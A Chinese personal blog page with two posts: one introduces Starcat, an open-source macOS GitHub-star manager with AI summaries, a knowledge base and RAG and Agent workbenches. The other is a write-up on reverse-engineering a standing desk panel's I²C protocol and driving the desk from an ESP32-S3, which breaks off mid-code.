dong4j's dark room

Starcat for GitHub：把 Star 过的项目变成可用的知识库

Tue, 01 Sep 2026 00:00:00 GMT

各位佬友们好，占用大家一点时间，主要是介绍一些最近花了 2 个月写的一个 GitHub Star 管理工具，但是 Star 管理只是基础功能，我想做的是将我们 Star 过的项目转变为可用的知识库。且听我细细道来。

作为一个开发者，我经常到 GitHub 去看一些有意思的开源项目，且毫无吝啬的给我感兴趣的项目 Star, 但是久而久之 Star 过的项目越来越多, 尤其是从 25 年开始, 出现了太多优秀的 AI 相关的项目了, 而且我又是一个工具控，不敢用不用得上, 基本上每天都在给开源项目点 Star.

但是问题也出现了, Star 的目的不仅仅是对项目的认可与鼓励, 我还把它当成书签来用, GitHub 上可以随时查看个人 Star 过的项目, 但是并不能区分哪些是表示认可, 哪些是在之后的工作中可以学习参考的项目.

以上是现在 GitHub Star 管理的主要矛盾, 虽然 Github Lists 可以通过分组的方式来做简单的管理, 但是并不能满足我的需求.

所以之前我一直在使用 OhMyStar 这款优秀的 macOS 应用来管理 Star, 但是发现许久都没有更新了(🥲, 尴尬了在写这个帖子的时候, 又去看了一下, 居然发布更新了…).

然后又调研了同类型的其他工具，都没有达到我预期的效果，因为我要的不仅仅是基础的 Star 管理，我更想从已 Star 的项目中挖掘更多的信息，所以我考虑自己开发一个 macOS 应用来满足我的需求。

现在 Starcat For GitHub 已经完成了，且迭代到 1.5.0 版本了（今天刚刚发布），目前应该算是比较稳定且功能已满足我日常使用了，所以今天来到 L站给佬友们汇报一下工作。

Starcat 最初是收费产品，本想靠这个产品发家致富, 但是梦想太美好, 哈哈哈哈. 在发布到 AppStore 和海外市场后, 发现并没有多少流量, 且理性的想了一下后, 靠这个发家致富简直是痴人说梦, 所以现在全部开源, 至少还能收到大家的 Star, 仅保留负责 Direct 渠道授权的 starcat-license-api 为私有(这个服务对接了 Creem 来做授权管理, 所以现在无法开源). 官方 Mac App Store 和 Direct（starcat.ink）版本仍会持续提供和维护。

特性

这个项目花了很多精力, 功能也非常多,但是我不想一一列举, 感兴趣的佬友们可以直接看全部的更新日志, 我挑几个我认为比较好用且经常使用的功能.

Star 基础管理

典型的三栏布局, 左边导航, 中间项目列表, 右边详情展示, 普普通通, 但是加上了自认为比较美观的 UI(大佬勿喷, 后端开发非专业 UI设计).

星标模块

这个是我们最常用的功能, 可以看到我们 Star 过的所有项目, 项目的的 Star, Forks, Watchers 等数据全部能看到, 详情页还能做点笔记, 懒的话还能先使用 AI 生成出一个模板出来然后在慢慢添加项目使用的坑点等(反正我就是这么做的, 写点填坑记录).

另一个就是 AI 摘要生成和对话:

让 AI 帮我总结一下这个项目, 默认使用 README 来生成, 不过也可以开启代码上下文(会下载整个项目并分析, 这就比较慢了哈)与外部网络搜索(现在支持 AnySearch, Tavily, Exa 和 Brave, 后续应该会集成更多更好用的 LLM 友好的搜索服务, 优先免费的), 目的是增加项目的摘要准确性.

翻译功能:

现在支持 18+ 语言, 会先根据当前应用的语言来自动翻译, 同时支持分段和全文翻译. 但是用下来发现 AI 翻译的其实并不快, 原因是 README 渲染为了保持和 GitHub 相同的样式, 是直接加载的 HTML, 所以需要先抽取待翻译的内容发送给 AI, 翻译完成后还要再次渲染, 这种方式也就无法使用 macOS 内置的翻译接口了, 所以这个也是后续优化的点.

接下来就是洞察页面了, 我为每个项目都添加了洞察页面, 目的就是更好的了解这个项目:

你可以在这个页面看到这个项目的大量统计信息, 其中我最关心的就是 Star 历史数据, 因为 GitHub 不再为非项目成员开放获取 Star 历史的功能了，所以为了能展示项目的 Star 历史曲线, 我爬取了从 2016 到 2026 年的所有 Watch Event 数据（家里的 ZFS 服务器终于派上用场了），并且会每日增量更新。虽然数据并不实时，但是这个场景足够使用了, 而且这个历史数据解决也会开放出来，让大家免费使用。

知识库：

已 Star 的项目和知识库的关系这个需要跟佬友们汇报一下。前面我们说了 Star 的项目中包含了单纯的认可和之后我们可能会使用到的项目，我们需要将后者这部分项目区分出来，作为后续 RAG 的数据来源，所以这里新增了一个知识库分类。

其他就是一些不痛不痒的功能了，比如 AI 批量整理标签， AI 整理分组，智能集合，订阅发布管理等等

探索模块

前面一直在说怎么管理自己已经 Star 的项目，但是 Starcat 肯定不能只做一个“仓库收纳箱”。因为我自己 Star 这么多项目的源头，其实就是每天都还在不断发现新的项目。GitHub Trending、各种周刊、榜单、Awesome List，我都会去看。但是这些内容分散在不同地方，看到了一个项目之后，往往又要自己回 GitHub 打开、判断、收藏、整理。所以 Starcat 里面做了探索模块，把这些发现入口尽量放到了一起。最基础的就是 GitHub Trending，支持按时间、语言看榜单；除此之外还有发现榜单、新发布项目、阮一峰周刊、Show HN、HelloGitHub 等来源。看到感兴趣的仓库，可以直接看 README、项目详情，也可以不 Star 直接放进知识库，后面再慢慢研究。

这里主要说一下 Weekly 这个分类吧，这里收集了比较火的几个数据来源：

阮一峰老师的 Weekly 项目，这个就不用多介绍了吧。
ZRead：ZRead 每周也会有项目推荐，而且这些项目都会在 ZRead 上有 AI 生成的文档，那就非常方便我们生深入了解这个项目。
Hacker News：Show HN 栏目下的开源项目，很多新项目，虽然星标不高但是也是一个趋势吧，可以了解一下大家都在开发哪些有趣的项目。
HelloGitHub：如果是 Java 技术栈的话，就很熟悉这个大佬了，这里也借用了一下大佬的接口（没有爬取，合理调用且增加了缓存）
AI 情报：这个是我在 B 站上看到一些比较感兴趣的 AI 开源项目，就会通过 Skill 写入到后端服务，这样大家就都可以看到了。

1.5.0 里面我自己比较满意的是 Awesome 发现，现在可以直接浏览 Starcat 精选的 Awesome 项目，也可以把公开的 GitHub Awesome 仓库加成自己的来源。后台会去解析 README，把里面的项目按章节拆出来，方便搜索、筛选和批量选择。我自己现在发现项目的流程，基本就是先在这里挑一轮，觉得有价值的先入知识库，真正需要长期关注的再去 Star、打标签、写笔记。

活动模块

活动模块不是一个单纯看仓库动态的页面，它更像是我放在 Starcat 里面的 GitHub 收件箱。平时 GitHub 的通知很多，有人 @ 你、邀请你 Review、给你分配 Issue、Discussion 有回复、订阅的项目发了 Release，甚至还有安全公告。以前我都是浏览器开着 GitHub Notifications，有时候堆了很多也懒得处理。

现在这些内容可以直接在 Starcat 的活动页里面看，支持按未读、提及、评审、Issue、PR 等分类筛选，也会按今天、昨天、本周和更早分组。Issue 和 PR 能直接看到当前是 Open、Closed 还是 Merged；自己 Star、取消 Star、Fork 的记录，也能在时间线上一起看。

这个页面完全按照 GitHub Issues 来实现，支持从剪切板上传图片，Markdown 预览，AI 翻译讨论和 AI 撰写回复等等功能，佬友们可以试试好不好用，这应该算是我常用的功能了。

洞察模块

前面一直在讲怎么把项目收进来、怎么整理、怎么找回，但是项目一多之后，还有一个很现实的问题：我到底收藏了多少东西？这些项目我整理了多少？哪些只是点了 Star 就再也没看过？我的知识库里面现在到底有什么？

所以 Starcat 里面有一个单独的洞察模块，它看的不是某一个仓库，而是我整个 Star 收藏和知识库的全局情况。可以在“全部收藏”和“知识库”两个范围之间切换。

比如我所有收藏里面有多少已经整理、有多少还没打标签、有多少还没读；知识库里面有多少 README、可用于检索的内容、向量索引已经准备好了多少。

这样我就不用一个一个仓库点进去看，而是能先知道自己的资料库现在大概是什么状态。

另外还能看技术分布、Topics、开源协议、项目状态这些统计。收藏久了之后，确实会发现自己某段时间特别爱 Star 某一类项目，比如 AI、Agent、RAG、macOS 工具，或者又不知不觉攒了一堆 Rust 项目。😂

我自己最常看的是“待处理事项”，没打标签的、还没读的、缺 README 的、还不能建立索引的、健康度或 OpenSSF 安全评分还没拉到的，还有存在维护或安全风险的项目，都会集中在这里。

点击对应项目可以直接下钻到仓库列表，不是只给你看一个数字就完了。还有一些已经长期没有动静、被归档，或者 GitHub 上已经不可用的项目，也能在这里集中看到。毕竟 Star 多了之后，定期整理一下还是很有必要的，不然知识库最后也会变成另一个“稍后再看”

支撑项目

Starcat 主体是 macOS 原生应用，核心功能、数据和代码都在主仓库里。不过有些能力如果全部塞进客户端，不太合适，也不太现实。比如 GitHub Trending 本身没有官方 API；周刊、发现榜单、Awesome 解析、Wiki 收录探测、相似仓库推荐、公开分享页这些，也都需要独立服务来提供数据。所以我围绕 Starcat 又拆了一些配套项目。它们不是一个大而全的后端，而是按能力拆分的小服务，需要的话都可以自己部署。

目前主要包括：

starcat-trending-api：抓取 GitHub Trending 并提供 API
starcat-weekly-api：阮一峰周刊、Show HN、HelloGitHub 等发现来源
starcat-discovery-api：探索、热门、新发布榜单
starcat-wiki-api：探测 DeepWiki、Zread、CodeWiki 等收录情况
starcat-recommend-api：相似仓库推荐
starcat-sharing-api：仓库公开分享页和短链
starcat-api-kit：这些业务 API 共用的鉴权、响应结构和 GitHub 基础能力

除了服务端，我还做了 Chrome、Safari 插件，以及 Alfred、uTools、Raycast 的搜索插件，方便在不同入口直接找到本地已经同步过的仓库。

知识库的关键词搜索默认还是走本地 SQLite FTS5，向量默认也可以在本地算；如果想接 Meilisearch、Qdrant 等外部检索后端，也可以自己配。整体思路就是：默认本地优先，需要扩展时再接服务，而不是把所有数据都强行丢到某个云端。

这些支撑项目、部署说明和源码都在 Starcat GitHub Organization 下面，感兴趣的佬友可以自己看：

https://github.com/starcat-app

RAG 工作台

前面说知识库的时候，提到过 Star 和知识库是两层关系。 Star 更像是公开收藏，表示“这个项目我认可”或者“我以后可能会看”；知识库则是我明确想留下来、后续可能真的会用到的一批项目。

RAG 工作台就是基于这部分知识库做的。它是一个独立窗口，默认只会从已经入库的项目里面找资料。

比如我可以问：

我收藏的 Agent 框架里面，哪些支持 MCP？
帮我找一下适合做 macOS 菜单栏应用的 Swift 项目。
我之前收藏过哪些和本地 RAG 有关的项目？

回答不是只丢一段 AI 生成的文字出来，也会带上各种上下文，右边有一个 Citation Inspector，可以看到这段回答具体引用了哪个仓库、README 的哪一段、笔记还是摘要内容，也可以直接跳回原始证据。检索部分不是单纯把所有 README 塞进模型上下文，而是结合了 FTS5 关键词检索、Embedding 语义召回和 RRF 融合。

简单理解就是：既能找“字面上写了什么”，也尽量能找“意思相近的内容”。

除了知识库里的 README、笔记、摘要之外，还可以附带 Markdown、JSON、源码文件等内容；需要时也能明确开启 GitHub 结构化查询或者联网搜索。

整个过程会显示在执行时间线上，方便知道这次回答到底查了哪些东西。

默认情况下，RAG 工作台是只读的，它不会自己给项目打标签、改笔记，或者把项目偷偷加入知识库。毕竟 AI 帮忙查资料可以，直接改我的收藏还是要谨慎一点。 Direct 版本目前还可以选择使用本机已安装的 Codex CLI 或 Claude Code CLI 来负责 RAG 的推理；但检索、引用、索引和本地数据仍然由 Starcat 自己控制。

Agent 工作台

Agent 工作台我把它设计成目前大多说 Agent 工具类似的样子，给几个内置的 Agent 工作流，比如本周热点项目，替代项目发现等，但是现在还是 Beta 版本，这块只能算“可用”，离我自己期待的“好用”还有一段距离。

它和 RAG 工作台不一样：RAG 主要是基于知识库回答问题；Agent 更偏向完成一个明确任务，比如生成 GitHub 周报、整理仓库信息、找替代项目，或者处理未分类仓库。

目前已经接入了 Starcat 内置 Runtime、DeepSeek Harness 和 Codex App Server，也能展示任务计划、工具调用过程和最终产物。

特别是多 Runtime 的事件展示、复杂任务执行、错误恢复和整体交互体验，后面都还需要继续打磨。

所以这个功能现在主要是给感兴趣的佬友尝鲜和交流用，不建议把它当成一个已经完全成熟的 Agent 产品。

后续我会持续完善，等真正达到我觉得好用的程度，再重点和大家介绍。

后续路线

接下来首先还是继续把现有功能打磨稳定。尤其是 RAG、Agent、探索来源、活动通知这几块，功能越多，越需要把错误恢复、加载体验、数据准确性和交互细节继续做好。 RAG 这边会继续优化检索质量、中文问题的召回、引用证据和真实知识库下的使用体验；Agent 工作台则会继续完善多 Runtime 的事件语义、失败恢复和复杂任务体验。

另外一个重点是项目推荐，目前 Starcat 的相似项目推荐，使用的是 SimRepo 提供的接口。这个开源项目本身做得不错，我在使用前也已经得到了作者的授权。

不过从长期来看，我还是希望把推荐能力慢慢收回到 Starcat 自己的生态里面，毕竟 Starcat 已经有用户收藏、知识库、标签、项目元数据等数据基础。如果后面能自己训练出一个更贴合 Starcat 使用场景的推荐模型，推荐结果应该会比通用方案更符合“我收藏了这些项目之后，接下来可能还会对什么感兴趣”这个问题。

还有前面提到的 Star History API，其实 SimRepo 项目同样提供历史数据的接口，但是限流太严格，所以还是前面的思路，自己做一个类似的服务出来。这个接口后续肯定会开放出来，让其他开发者和项目也能使用 Star 历史数据。不过目前还有不少数据质量、增量更新、容量和接口体验上的问题需要继续优化，所以暂时不会急着放出去。我更希望先自己用一段时间，把 Starcat 里面的历史曲线继续迭代几个版本，等数据和服务都更稳定一些之后，再把它作为一个独立能力开放出来。

写在最后

这个产品我投入了太多的精力，以至于工作都不想找了（说的好像找的到一样），所以对这个产品寄托了太多的希望，这也是我作为 Java 技术栈的开发者首次尝试 macOS 原生开发，因为用了这么多年的 mac，一直非常喜欢 macOS 的 UI 和操作, 也一直想有一个自己开发的 macOS 应用, 所以从我个人的需求出发开发了 Starcat 这款应用，我想这也不会是我最后一款 macOS 产品，目前在小本本上已经记录了几个玩儿 HomeLab 的痛点，我想可以做几个应用出来解决这些问题。

我的升降桌改造：破解原厂面板，接入多种控制方式

Tue, 18 Aug 2026 00:00:00 GMT

首发于少数派: AI 助力改造非智能升降桌：智能升降、语音控制、多端联动……

1 背景

早在 2019 年搬入新家之后，就一直在迭代优化我的办公桌, 现在应该是 V3 版本了:

这个桌子从搬入新家就一直陪伴着我, 它承载了太多太多…

是的, 就是字面上的意思:

后来因为工作的原因有点轻微腰椎间盘突出, 所以决定给它换一个”躯干”, 桌板还是用的原来的, 毕竟好一点的升降桌都要 3000+ …

最终选择了一款非智能的双电机版本, 升降范围是 64~129cm, 因为我确信凭借自己对硬件的热爱, 可以很容易的改装成智能控制, 但是可能对自己的技术太自信了, 这个想法拖到近段时间才得以实现, 一是有充足的时间, 二是有 AI 的加持.

我的升降桌之前只能通过原厂控制面板操作，面板上有上升、下降和四个档位键:

有时候会出现 B12 错误码, 不过同时按住上下键 5 秒就能重置.

我最初想增加一个旋钮，顺时针旋转升高，逆时针旋转降低，按下旋钮停止。

动手前，我看了少数派的《从零开始，改造一张可以用 Siri 控制的升降桌》，也研究了开源项目 Upsy Desky。它们使用的通信协议都和我的升降桌不同，我需要重新分析原厂控制面板与控制盒之间的通信。

除了旋钮，我还准备接入键盘、手机、Web、手表和语音控制。ESP32-S3 负责接收这些入口的指令，再按照原厂协议控制升降桌。后来我又接入了小智 AI：一块 JC3636W518C 放在桌上作为语音终端。

如果你和我的控制面板一样, 那大概率是可以复刻的, 不过最好还是拆开面板看一下, 看看线序和网线的线序是否一致.

如果不一样可能就需要使用逻辑分析仪来抓包分析原始数据了. 只要能通过 ESP32-S3 发送正确的指令控制升降, 那多端接入就非常简单了.

2 改造目标与方案选择

2.1 原厂控制面板的使用局限

原厂控制面板有上升、下降和四个档位键。单击档位键可以移动到保存的高度，长按会覆盖对应档位。每次操作都需要使用安装在桌边的面板。

目前最大的问题就是没有童锁功能, 家里的小孩儿觉得好玩儿, 会经常趁我不注意按着玩儿, 有一次离家之前将升降桌设置到了最高位置, 正好超过了椅子的高度, 不知道是不是老人的安全意识不够, 把孩子抱起来按了档位 1, 椅子抵住了桌面差点把桌子顶翻(这也是一个局限的点, 没有障碍检测).

所以我老早就决定改造成智能升降桌, 而且必须加上童锁的功能.

契机是一个 zFrontier 的上的一个旋钮控制方案.

2.2 从旋钮控制扩展到多终端接入

玩儿客制化键盘的都知道 zFrontier, 我没事就会在 ZF 上逛逛. 正好看到了 Serendipity Dial，我觉得它的可定制化功能非常多, 正好我桌面上有 2 个旋钮设备, 想着是不是可以通过旋钮来控制升降桌, 然后又在少数派上搜索到了《从零开始，改造一张可以用 Siri 控制的升降桌》并了解到了 Upsy Desky 这个开源项目, 脑海中逐渐有了可落地的方案：

这套方案的中心是 ESP32-S3。App、手表、键盘、旋钮这些控制端只发统一指令，不用懂原厂协议；ESP32-S3 把这些指令翻译成控制盒认的键码，桌子才会动。

硬件架构:

所以整套方案的核心，是拿到原厂控制盒认的那套指令。当前分层和硬件拓扑记在仓库的架构总览里。

2.3 现有开源方案的适配限制

少数派的 Siri 升降桌改造和 Upsy Desky，思路都是在控制盒与面板之间加一块控制模块，这点和我后来做的网关接近。但升降桌面板没有统一协议，品牌不同、批次不同，通信方式都可能不一样。

我把这两份方案对照自己的桌子看过之后，发现都不适配。Upsy Desky 支持的控制盒和我的不是一种，我的原厂面板用 RJ45 插头只引出四根线。线序、协议和按键数据都得自己确认，ESP32-S3 南向才能发出控制盒认的键码。后面的拆解和抓包，都是在补这一环。

3 原厂控制面板拆解与总线识别

3.1 RJ45 接口与四线定义

原厂面板通过 RJ45 插头与控制盒连接。拆开面板后，我看到电路板背面有四个测试点，标记分别为 3.3V、GND、CLK 和 `DAT, 白线是时钟，绿线接地，黑线传输数据:

3.2 TM1650 芯片与总线类型判断

原厂面板使用 TM1650 驱动数码管, 结合 CLK 和 DAT 两个测试点，初步判断面板与控制盒之间使用 I²C 通信。

芯片型号还不能确定完整协议。只能继续通过总线抓包确认主从关系、设备地址、按键编码和高度数据。

3.3 逻辑分析仪接线与采样参数调整

抓包时，原厂面板保持与控制盒连接，逻辑分析仪接入 GND、CLK 和 DAT 三个测试点。分析仪不连接面板的 3.3V，也不参与供电。

我最初把采样率设为 20 kHz，只能看到电平变化，无法解码完整数据。把采样率提高到 12 MHz 后，PulseView 可以稳定识别地址和数据。

分别采集了静置、按住上升、按住下降、单击档位和长按保存的数据。采集高度数据时，我让桌子从 64 cm 升到 129 cm，同时记录面板显示的高度，方便后续对照。抓包步骤见逻辑分析仪抓包。

SDA 对应 DAT

SCL 对应 CLK

然后将协议修改为 I²C 后就可以正常读取.

4 I²C 通信机制与协议解析

物理上只有一对 CLK / DAT，TM1650 用不同从机地址拆成两条通道：控制盒读 0x24 问现在按了哪颗键，写 0x34 到 0x37 刷数码管。PulseView 显示的是 7-bit 地址；TM1650 手册常用 8-bit 写地址，0x24 就是手册里的 0x48，0x34 就是 0x68。完整键码、时序和抓包索引在协议逆向笔记。

4.1 I²C 主从关系与周期轮询

抓包确认控制盒是 I²C Master，原厂面板是 Slave。时钟由控制盒产生，SCL 大约 9.6 kHz。面板不主动上报，只在被问到时把当前键态放上总线。

静置时总线不是空闲的。控制盒大约每 3.7 毫秒做一轮完整问答：先往 0x24 写一字节 DW=0x01，再读一字节 DR。DW 实测一直是 0x01，像显示控制 / 亮度一类的寄存器，键态不在这里。键码在 DR 里。静置时 DR 是 0x2E。

这张图是静置总览，写 0x01 和读 0x2E 一直在交替：

这一轮写和读是分开的两笔事务，中间各有一次 STOP，一次完整轮询是：

S  Address write 0x24  ACK  Data write 0x01  ACK  P
约 29 us
S  Address read  0x24  ACK  Data read  0x2E  ACK  P
约 95 us 后再开下一轮

读完那一字节之后，控制盒用的是 ACK 再 STOP，不是常见的 NACK 再 STOP。后面用 ESP32 去复放面板侧时序，就是卡在这一点上。

这张图是单次读写放大：

持续返回上升或下降键码时，桌子保持运动；改回 0x2E 后停止。要让桌子动，就是改 Slave 每次被读时交出的 DR。总线上并没有一条单独的「升桌命令帧」可塞。

4.2 升降、停止与档位指令解析

对比静置、按住上升、按住下降的抓包：DW 始终 0x01，变的只有 DR。

操作	`DR`	说明
空闲、松手	`0x2E`	必须一直回这个，不要静默不应答
按住上升	`0x47`	要升多久就回多久
按住下降	`0x4F`	要降多久就回多久
档位 1 单击	`0x17`	前往已保存高度
档位 1 长按保存	`0x57`	`0x17` 加上 bit6（`0x40`）
档位 4 单击	`0x2F`	前往已保存高度
档位 4 长按保存	`0x6F`	`0x2F` 加上 bit6

上升和下降只差 bit3（0x47 ⊕ 0x4F = 0x08）。档位短码和长按差的是 bit6，事务骨架不变。

档位 2 和档位 3 暂时没有抓包，因为我现在常用的只有档位 1 和档位 4, 后续可以通过高度传感器来处理多档位问题.

同时按住上和下大约 5 秒，原厂可以清 B12。抓包里对应 DR=0x7F，有效区间大约 7.5 秒，结束后必须回到 0x2E。

4.3 数码管高度数据解析

高度不在 0x24 的 DR 里。按住上升时 DR 一直是 0x47，不会跟着厘米数往上爬。我最初在键通道里搜 64、102 这种字面量，找不到，还把写往 0x34 至 0x37 的帧当成电机干扰滤掉了。

拆板确认 U2 是 TM1650 之后，这些地址对上了手册里的 digit 寄存器（8-bit 0x68 / 0x6A / 0x6C / 0x6E）。控制盒一边读键，一边把七段段码写到数码管。面板自己没有高度 MCU，总线上的高度是显示镜像，整数厘米。

逻辑位	7-bit	显示
DIG1	`0x34`	百位，两位高度时常写 `0x00` 消隐
DIG2	`0x35`	十位
DIG3	`0x36`	个位
DIG4	`0x37`	第四位；静止时常等于 DIG3

总线写序多数是 DIG3 → DIG2 → DIG1 → DIG4，组装高度要按逻辑编号，不能按时间顺序当百、十、个。长按保存档位 1 / 4 的静置帧里，四元组精确重复，段码不变：

AW:36 DW:C5 / AW:35 DW:DB / AW:34 DW:00 / AW:37 DW:C5   → 64 cm
AW:36 DW:9E / AW:35 DW:5F / AW:34 DW:44 / AW:37 DW:9E   → 102 cm

对照 TM1650 段码表，还能还原出 82、121。静态大约每 2 到 3 秒刷一整帧；运动中更密。

5 ESP32-S3 控制链路验证

拿到了指令数据，就可以开始使用 ESP32-S3 来模拟指令实现升降桌控制了。

控制盒通过 RJ45 接口和控制面板连接, 如果需要使用 ESP32-S3 来下发控制指令的话, 需要一个 RJ45 模块:

这里我买的是独立的双口 RJ45 模块, 左侧接口通过网线连接到升降桌的控制盒, 进而使用 ESP32-S3 下发指令来控制升降桌, 右口是连接原厂控制面板, 意思是保留原厂控制面板的控制功能, 不过这里需要 ESP32-S3 来透传指令.

5.1 ESP32-S3 模拟原厂控制面板

我把 ESP32-S3 配置成地址 0x24 的 I²C Slave，用它替代原厂面板响应控制盒。Web 页面按住上升时返回 0x47，松手时返回 0x2E；下降操作返回 0x4F。

控桌不是 ESP32 主动发一条「升桌帧」。控制盒每大约 3.7 ms 来读一次，Slave 把当前键码交出去。固件在 mxtark.c 里大致是这样：

#define ADDR_KEY_7BIT  0x24u
#define DR_IDLE        0x2Eu
#define DR_UP          0x47u
#define DR_DOWN        0x4Fu

i2c_slave_config_t cfg = {
    .i2c_port = I2C_NUM_0,
    .scl_io_num = GPIO_NUM_4,   /* CLK */
    .sda_io_num = GPIO_NUM_5,   /* DAT */
    .slave_addr = ADDR_KEY_7BIT,
    .addr_bit_len = I2C_ADDR_BIT_LEN_7,
    .send_buf_depth = 64,
    .receive_buf_depth = 64,
};
i2c_new_slave_device(&cfg, &handle);
i2c_slave_register_event_callbacks(handle, &cbs, ctx);

/* 控制盒发起读请求时，ISR 只往队列丢一个记号，不在中断里写总线 */
static bool IRAM_ATTR on_request_cb(i2c_slave_dev_handle_t i2c_slave,
                                    const i2c_slave_request_event_data_t *evt,
                                    void *arg)
{
    slave_ctx_t *ctx = arg;
    xQueueOverwriteFromISR(ctx->tx_q, &token, &hp);
    return hp == pdTRUE;
}

/* 真正写总线放在任务里，每次交出当前 DR */
static void slave_tx_task(void *arg)
{
    for (;;) {
        xQueueReceive(ctx->tx_q, &token, portMAX_DELAY);
        uint8_t dr = (uint8_t)atomic_load(&s_dr);  /* 0x2E / 0x47 / 0x4F */
        i2c_slave_write(ctx->handle, &dr, 1, &written, 50);
    }
}

Web 按住升，只是把 s_dr 改成 0x47；松手改回 0x2E。I²C 外设负责 ACK 和移位，业务代码不用去翻 CLK/DAT。

我先用 Web 页面发送指令，分别检查网络请求、固件状态、串口日志和 I²C 通信，暂时不接入旋钮。

5.2 首次联调中的通信异常

首次上电时，串口日志可以正常记录键码变化。点击上升后当前键码变为 0x47，点击下降后变为 0x4F，但升降桌没有动作。

启动后 Slave 是起来了的：

I (3124) mxtark: I2C slave @0x24 SCL=4 SDA=5

Web 按住升、松手、再按住降，日志大致是这样，桌子纹丝不动：

I (18420) desk_core: motion request source=rest mode=hold dir=up action=start status=idle
I (18421) mxtark: DR=0x47
I (19208) mxtark: DR=0x2E
I (22110) desk_core: motion request source=rest mode=hold dir=down action=start status=idle
I (22111) mxtark: DR=0x4F
I (22940) mxtark: DR=0x2E

mxtark: DR=0x47 只说明固件把待回传的字节改了。串口日志只能证明固件更新了待发送的键码，不能证明控制盒已经通过 I²C 读到该数据。

所以这里我卡了一天，查了很多资料，直到我再次查看原厂 PCB 才大概确认了问题：

TM1650 旁边有两只贴片电阻，一端接到 3.3V，另一端分别接到 CLK 和 DAT。断电量下来大约 1.99 kΩ。这就是上拉电阻。

I²C 的 CLK、DAT 不能像普通 GPIO 那样由芯片把线推到高电平。总线上的设备只会把线拉到地，表示 0；要表示 1，得靠电阻把线拉回 3.3V。没有这只电阻，线会悬在中间，控制盒读到的既不是稳定的高，也不是稳定的低。Slave 就算把 0x47 准备好了，对面也轮询不下来。

原厂面板插着的时候，上拉焊在面板上。我用 ESP32 替换面板，等于把这两只电阻一起拔掉了。所以日志里 DR 在变，总线上却没有合格的高电平。

5.3 I²C 上拉电阻与通信恢复

确认之后，我用控制盒的 3.3V，分别通过一只 2 kΩ 电阻接到 CLK 和 DAT。电阻是并联到信号线上的上拉，不是串在 GPIO 前面的限流电阻；白线和黑线仍直接进 GPIO4、GPIO5。红线只给这两只电阻供电，不能接到 ESP32 的 3V3。

ESP32-S3 继续使用 USB-C 单独供电，并与控制盒共地。增加上拉电阻后，Web 页面可以控制桌子升高和降低。

接线图如下:

加上电阻后连续升高、连续降低和松手停止都正常工作。不过还没有启用档位功能。

ESP32-S3 已经能按原厂协议升降桌子，Web 控桌可以用了。接下来要把高度读出来。桌面右侧有键盘架，升太高会顶上去，必须限制最高位。

5.4 双口 RJ45 透传原厂面板

Web 能动桌子之后，桌边那块原厂面板还空着。双口模块左口已经接到控制盒，右口用来接回原厂面板，让按键继续能用。

左右 RJ45 的 CLK/DAT 不能直接短接，那样会绕过 ESP32，童锁和来源权限都拦不住。面板按键从右口进 GPIO6 / GPIO7，和 Web、BLE 一样先交给 desk_core，再由左口 GPIO4 / GPIO5 的硬件 I²C Slave 回给控制盒。

这张图是数据怎么走：

信号	左口（控制盒）	右口（原厂面板）
pin 1 / 红 / 3.3V	现有两只 2 kΩ 上拉的电源端	与左口 pin 1 直接跳线
pin 2 / 白 / CLK	GPIO4	GPIO6
pin 3 / 绿 / GND	ESP32 GND	与左口 pin 3 直接跳线
pin 4 / 黑 / DAT	GPIO5	GPIO7

红线和地左右跳通，只是给原厂面板供电。CLK/DAT 不要左右对跳。右口不再补上拉，原厂面板板上那两只约 1.99 kΩ 已经在。红线仍然不接 ESP32 的 3.3V。

这张图是右口接线：

左口还是对着控制盒：ESP32 当 I²C Slave，地址 0x24，控制盒来问键码，它负责回答。

右口则相反，对面是原厂面板。面板自己不会主动上报，得有人装成控制盒去问它「现在按的是哪颗键」。所以右口这边，ESP32 得当 Master。

抓包看到的问答大概是 9.6 kHz，而且写和读是两笔独立事务：先写完一字节，中间有一次 STOP，再另开一笔去读键码。ESP-IDF 自带的硬件 I²C Master 习惯把「写 + 读」捏成一笔，结束时的 ACK/NACK 也跟控制盒不一样，对不上这套时序，所以复放不了。

所以 GPIO6、GPIO7 不用芯片里的 I²C 外设，改成程序自己翻转这两根脚。I²C 平时靠上拉电阻把线拉高，芯片只负责把线拉低，这种接法叫开漏。软件按抓到的时序去读键码，再交给和 Web 同一套仲裁。没开童锁、Panel 也开着时，桌边按键优先于 Web。按住升降时拔掉右口网线，桌子会停。童锁和单独关掉 Panel 后面单独写。左口右口针脚见真机验收清单和固件 README。

6 高度数据解析与通信方案调整

键码:

停止  0x2E
上升  0x47
下降  0x4F

目前通过 ESP32-S3 能正常控制升降，但是还不能正常显示高度。Web、REST、BLE 没有真实高度，档位闭环和最高安全高度也做不了。

原厂面板有三位七段数码管。第一反应是：既然 ESP32 已经在同一组 CLK/DAT 上应答控制盒，能不能把高度一并读出来？

继续分析抓包数据：

通道	地址	方向	内容
键通道	`0x24`	控制盒读面板	当前按键，`DR` 里是 `0x2E / 0x47 / 0x4F` 这类键码
显示通道	`0x34–0x37`	控制盒写面板	TM1650 digit 段码，面板拿它刷新数码管

DR 里找不到 64、102 这种厘米字面量。高度是控制盒写给数码管的段码。旁路嗅探 0x34–0x37 的写事务，再用本面板标定过的经验字库，可以把显示高度还原成整数厘米。

6.1 ESP32-S3 硬件 I²C 资源限制

要在 ESP32-S3 中同时处理按键和高度，需要响应同一对 CLK/DAT 上的五个 Slave 地址。0x24 用于按键，0x34 至 0x37 用于四个数码管位置。

ESP32-S3 有两组硬件 I²C 控制器，但一个硬件 I²C Slave 只能配置一个精确地址。

两组控制器无法同时覆盖这五个地址。物理连接只有一对 CLK/DAT，问题出在五个 Slave 地址上。

硬件 I²C Slave 已经占用 @0x24 回键码，同一组 GPIO4/5 上再想同时 ACK 0x34–0x37，硬件外设做不到。

于是出现两条实验路：

GPIO 边沿嗅探这条路：硬件 Slave 继续只应答 0x24，另用 GPIO ISR 听 CLK/DAT，试图在不 ACK 的情况下偷看 digit 写。真机结果是 NO-GO：SCL 每个上升沿和 SDA 边沿都会打高频中断，和硬件 Slave 抢同一组脚。控制盒在 0x34–0x37 被 NACK 后往往会停写，纯监听拿不到段码 data。更糟的是升降本身开始不稳，高度仍然未知。

6.2 软件 I²C 多地址响应方案

为了同时响应五个地址, 将控制盒一侧改成软件 I²C。

程序通过 GPIO 中断读取时钟和数据边沿，并在软件中处理 START、STOP、地址、数据和 ACK。状态机在 mxtark_soft_i2c_sm.c，GPIO 边沿在 mxtark_soft_i2c_esp.c：

#define ADDR_KEY_7BIT  0x24u
#define ADDR_DIG1_7BIT 0x34u
#define ADDR_DIG4_7BIT 0x37u

/* 0x24 读写都应答；0x34–0x37 只应答写，用来收段码 */
